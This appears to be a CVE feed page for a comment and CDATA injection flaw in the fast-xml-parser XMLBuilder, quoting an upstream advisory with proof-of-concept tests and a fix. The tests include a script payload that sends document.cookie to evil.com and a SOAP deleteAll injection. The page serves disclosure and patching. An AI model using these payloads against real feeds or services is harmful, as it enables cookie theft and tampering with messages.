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  4. CVE 2026 41650 fast xml parser xmlbuilder xml comment and cdata
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Back to active CVEs
Medium ยท CVSS 6.1CVE-2026-41650GHSA-GH4J-GQV2-49F6

fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped DelimitersCVE-2026-41650

Answer in brief

CVE-2026-41650 records a Medium severity (CVSS 6.1) vulnerability in fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters. The current sources do not mark it as known exploited. The current feed maps fast-xml-parser (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 22, 2026Updated Sep 10, 2026Source checked Oct 25, 2026First seen by HOL Sep 10, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
Medium ยท CVSS 6.1
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 6.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps fast-xml-parser (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
fast-xml-parsernpm>=0 <5.7.05.7.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for fast-xml-parser.
  2. 2Review the reported fix. Update fast-xml-parser to 5.7.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Apr 22, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Sep 10, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
Upstream source description

# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters ## Summary fast-xml-parser XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. Existing CVEs for fast-xml-parser cover different issues: - CVE-2023-26920: Prototype pollution (parser) - CVE-2023-34104: ReDoS (parser) - CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder - CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities This finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability. ## Vulnerable Code **File**: `src/fxb.js` ```javascript // Line 442 - Comment building with NO escaping of --> buildTextValNode(val, key, attrStr, level) { // ... if (key === this.options.commentPropName) { return this.indentate(level) + `<!--${val}-->` + this.newLine; // VULNERABLE } // ... if (key === this.options.cdataPropName) { return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine; // VULNERABLE } } ``` Compare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`. ## Proof of Concept ### Test 1: Comment Injection (XSS in SVG/HTML context) ```javascript import { XMLBuilder } from 'fast-xml-parser'; const builder = new XMLBuilder({ commentPropName: "#comment", format: true, suppressEmptyNode: true }); const xml = { root: { "#comment": "--><script>alert('XSS')</script><!--", data: "legitimate content" } }; console.log(builder.build(xml)); ``` **Output**: ```xml <root> <!----><script>alert('XSS')</script><!----> <data>legitimate content</data> </root> ``` ### Test 2: CDATA Injection (RSS feed) ```javascript const builder = new XMLBuilder({ cdataPropName: "#cdata", format: true, suppressEmptyNode: true }); const rss = { rss: { channel: { item: { title: "Article", description: { "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more" } }}} }; console.log(builder.build(rss)); ``` **Output**: ```xml <rss> <channel> <item> <title>Article</title> <description> <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]> </description> </item> </channel> </rss> ``` ### Test 3: SOAP Message Injection ```javascript const builder = new XMLBuilder({ commentPropName: "#comment", format: true }); const soap = { "soap:Envelope": { "soap:Body": { "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--", Action: "getBalance", UserId: "12345" } } }; console.log(builder.build(soap)); ``` **Output**: ```xml <soap:Envelope> <soap:Body> <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!----> <Action>getBalance</Action> <UserId>12345</UserId> </soap:Body> </soap:Envelope> ``` The injected `<Action>deleteAll</Action>` appears as a real SOAP action element. ## Tested Output All tests run on Node.js v22, fast-xml-parser v5.5.12: ``` 1. COMMENT INJECTION: Injection successful: true 2. CDATA INJECTION (RSS feed scenario): Injection successful: true 4. Round-trip test: Injection present: true 5. SOAP MESSAGE INJECTION: Contains injected Action: true ``` ## Impact An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can: 1. **XSS**: Inject `<script>` tags into XML/SVG/HTML documents served to browsers 2. **SOAP injection**: Modify SOAP message structure by injecting XML elements 3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout 4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files). ## Suggested Fix Escape delimiters in comment and CDATA content: ```javascript // For comments: replace -- with escaped equivalent if (key === this.options.commentPropName) { const safeVal = String(val).replace(/--/g, '&#45;&#45;'); return this.indentate(level) + `<!--${safeVal}-->` + this.newLine; } // For CDATA: split on ]]> and rejoin with separate CDATA sections if (key === this.options.cdataPropName) { const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>'); return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine; } ```

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Vulnerability
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Oct 25, 2026
References
4 linked sources
Open source record